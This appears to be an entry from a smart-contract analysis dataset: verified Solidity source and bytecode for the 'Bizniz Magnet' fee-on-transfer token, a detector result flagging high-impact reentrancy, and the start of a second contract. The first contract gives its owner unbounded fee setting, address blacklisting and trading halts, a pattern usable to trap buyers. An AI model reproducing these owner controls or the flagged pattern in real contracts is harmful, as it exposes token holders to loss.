/** *Submitted for verification at Etherscan.io on 2022-04-01 */ /** https://t.me/BiznizMagneterc */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BiznizMagnet is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Bizniz Magnet"; string private constant _symbol = "BM"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x70728Aa04FC8Bde4710D0efBB8A0105c9f197B2D); address payable private _marketingAddress = payable(0x70728Aa04FC8Bde4710D0efBB8A0105c9f197B2D); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000000 * 10**9; uint256 public _maxWalletSize = 25000000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610556578063dd62ed3e14610576578063ea1644d5146105bc578063f2fde38b146105dc57600080fd5b8063a2a957bb146104d1578063a9059cbb146104f1578063bfd7928414610511578063c3c8cd801461054157600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b157600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611960565b6105fc565b005b34801561020a57600080fd5b5060408051808201909152600d81526c109a5e9b9a5e88135859db995d609a1b60208201525b60405161023d9190611a25565b60405180910390f35b34801561025257600080fd5b50610266610261366004611a7a565b61069b565b604051901515815260200161023d565b34801561028257600080fd5b50601454610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50670de0b6b3a76400005b60405190815260200161023d565b3480156102df57600080fd5b506102666102ee366004611aa6565b6106b2565b3480156102ff57600080fd5b506102c560185481565b34801561031557600080fd5b506040516009815260200161023d565b34801561033157600080fd5b50601554610296906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611ae7565b61071b565b34801561037157600080fd5b506101fc610380366004611b14565b610766565b34801561039157600080fd5b506101fc6107ae565b3480156103a657600080fd5b506102c56103b5366004611ae7565b6107f9565b3480156103c657600080fd5b506101fc61081b565b3480156103db57600080fd5b506101fc6103ea366004611b2f565b61088f565b3480156103fb57600080fd5b506102c560165481565b34801561041157600080fd5b506102c5610420366004611ae7565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610296565b34801561045c57600080fd5b506101fc61046b366004611b14565b6108be565b34801561047c57600080fd5b506102c560175481565b34801561049257600080fd5b50604080518082019091526002815261424d60f01b6020820152610230565b3480156104bd57600080fd5b506101fc6104cc366004611b2f565b610906565b3480156104dd57600080fd5b506101fc6104ec366004611b48565b610935565b3480156104fd57600080fd5b5061026661050c366004611a7a565b610973565b34801561051d57600080fd5b5061026661052c366004611ae7565b60106020526000908152604090205460ff1681565b34801561054d57600080fd5b506101fc610980565b34801561056257600080fd5b506101fc610571366004611b7a565b6109d4565b34801561058257600080fd5b506102c5610591366004611bfe565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c857600080fd5b506101fc6105d7366004611b2f565b610a75565b3480156105e857600080fd5b506101fc6105f7366004611ae7565b610aa4565b6000546001600160a01b0316331461062f5760405162461bcd60e51b815260040161062690611c37565b60405180910390fd5b60005b81518110156106975760016010600084848151811061065357610653611c6c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068f81611c98565b915050610632565b5050565b60006106a8338484610b8e565b5060015b92915050565b60006106bf848484610cb2565b610711843361070c85604051806060016040528060288152602001611db2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ee565b610b8e565b5060019392505050565b6000546001600160a01b031633146107455760405162461bcd60e51b815260040161062690611c37565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107905760405162461bcd60e51b815260040161062690611c37565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e357506013546001600160a01b0316336001600160a01b0316145b6107ec57600080fd5b476107f681611228565b50565b6001600160a01b0381166000908152600260205260408120546106ac90611262565b6000546001600160a01b031633146108455760405162461bcd60e51b815260040161062690611c37565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b95760405162461bcd60e51b815260040161062690611c37565b601655565b6000546001600160a01b031633146108e85760405162461bcd60e51b815260040161062690611c37565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161062690611c37565b601855565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161062690611c37565b600893909355600a91909155600955600b55565b60006106a8338484610cb2565b6012546001600160a01b0316336001600160a01b031614806109b557506013546001600160a01b0316336001600160a01b0316145b6109be57600080fd5b60006109c9306107f9565b90506107f6816112e6565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161062690611c37565b60005b82811015610a6f578160056000868685818110610a2057610a20611c6c565b9050602002016020810190610a359190611ae7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6781611c98565b915050610a01565b50505050565b6000546001600160a01b03163314610a9f5760405162461bcd60e51b815260040161062690611c37565b601755565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161062690611c37565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610626565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610626565b6001600160a01b038216610c515760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610626565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610626565b6001600160a01b038216610d785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610626565b60008111610dda5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610626565b6000546001600160a01b03848116911614801590610e0657506000546001600160a01b03838116911614155b156110e757601554600160a01b900460ff16610e9f576000546001600160a01b03848116911614610e9f5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610626565b601654811115610ef15760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610626565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3357506001600160a01b03821660009081526010602052604090205460ff16155b610f8b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610626565b6015546001600160a01b038381169116146110105760175481610fad846107f9565b610fb79190611cb3565b106110105760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610626565b600061101b306107f9565b6018546016549192508210159082106110345760165491505b80801561104b5750601554600160a81b900460ff16155b801561106557506015546001600160a01b03868116911614155b801561107a5750601554600160b01b900460ff165b801561109f57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c457506001600160a01b03841660009081526005602052604090205460ff16155b156110e4576110d2826112e6565b4780156110e2576110e247611228565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112957506001600160a01b03831660009081526005602052604090205460ff165b8061115b57506015546001600160a01b0385811691161480159061115b57506015546001600160a01b03848116911614155b15611168575060006111e2565b6015546001600160a01b03858116911614801561119357506014546001600160a01b03848116911614155b156111a557600854600c55600954600d555b6015546001600160a01b0384811691161480156111d057506014546001600160a01b03858116911614155b156111e257600a54600c55600b54600d555b610a6f8484848461146f565b600081848411156112125760405162461bcd60e51b81526004016106269190611a25565b50600061121f8486611ccb565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610697573d6000803e3d6000fd5b60006006548211156112c95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610626565b60006112d361149d565b90506112df83826114c0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132e5761132e611c6c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138257600080fd5b505afa158015611396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ba9190611ce2565b816001815181106113cd576113cd611c6c565b6001600160a01b0392831660209182029290920101526014546113f39130911684610b8e565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142c908590600090869030904290600401611cff565b600060405180830381600087803b15801561144657600080fd5b505af115801561145a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147c5761147c611502565b611487848484611530565b80610a6f57610a6f600e54600c55600f54600d55565b60008060006114aa611627565b90925090506114b982826114c0565b9250505090565b60006112df83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611667565b600c541580156115125750600d54155b1561151957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154287611695565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157490876116f2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a39086611734565b6001600160a01b0389166000908152600260205260409020556115c581611793565b6115cf84836117dd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161491815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164282826114c0565b82101561165e57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116885760405162461bcd60e51b81526004016106269190611a25565b50600061121f8486611d70565b60008060008060008060008060006116b28a600c54600d54611801565b92509250925060006116c261149d565b905060008060006116d58e878787611856565b919e509c509a509598509396509194505050505091939550919395565b60006112df83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ee565b6000806117418385611cb3565b9050838110156112df5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610626565b600061179d61149d565b905060006117ab83836118a6565b306000908152600260205260409020549091506117c89082611734565b30600090815260026020526040902055505050565b6006546117ea90836116f2565b6006556007546117fa9082611734565b6007555050565b600080808061181b606461181589896118a6565b906114c0565b9050600061182e60646118158a896118a6565b90506000611846826118408b866116f2565b906116f2565b9992985090965090945050505050565b600080808061186588866118a6565b9050600061187388876118a6565b9050600061188188886118a6565b905060006118938261184086866116f2565b939b939a50919850919650505050505050565b6000826118b5575060006106ac565b60006118c18385611d92565b9050826118ce8583611d70565b146112df5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610626565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f657600080fd5b803561195b8161193b565b919050565b6000602080838503121561197357600080fd5b823567ffffffffffffffff8082111561198b57600080fd5b818501915085601f83011261199f57600080fd5b8135818111156119b1576119b1611925565b8060051b604051601f19603f830116810181811085821117156119d6576119d6611925565b6040529182528482019250838101850191888311156119f457600080fd5b938501935b82851015611a1957611a0a85611950565b845293850193928501926119f9565b98975050505050505050565b600060208083528351808285015260005b81811015611a5257858101830151858201604001528201611a36565b81811115611a64576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8d57600080fd5b8235611a988161193b565b946020939093013593505050565b600080600060608486031215611abb57600080fd5b8335611ac68161193b565b92506020840135611ad68161193b565b929592945050506040919091013590565b600060208284031215611af957600080fd5b81356112df8161193b565b8035801515811461195b57600080fd5b600060208284031215611b2657600080fd5b6112df82611b04565b600060208284031215611b4157600080fd5b5035919050565b60008060008060808587031215611b5e57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8f57600080fd5b833567ffffffffffffffff80821115611ba757600080fd5b818601915086601f830112611bbb57600080fd5b813581811115611bca57600080fd5b8760208260051b8501011115611bdf57600080fd5b602092830195509350611bf59186019050611b04565b90509250925092565b60008060408385031215611c1157600080fd5b8235611c1c8161193b565b91506020830135611c2c8161193b565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cac57611cac611c82565b5060010190565b60008219821115611cc657611cc6611c82565b500190565b600082821015611cdd57611cdd611c82565b500390565b600060208284031215611cf457600080fd5b81516112df8161193b565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4f5784516001600160a01b031683529383019391830191600101611d2a565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8d57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dac57611dac611c82565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a897bb508730101b73fb02faa4667f22b80865d117fb12438ba741fd373b595b64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,875
0xba7f9edfb2e91b06de08457c6425f8b119e687ff
// SPDX-License-Identifier: MIT pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ETHereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a 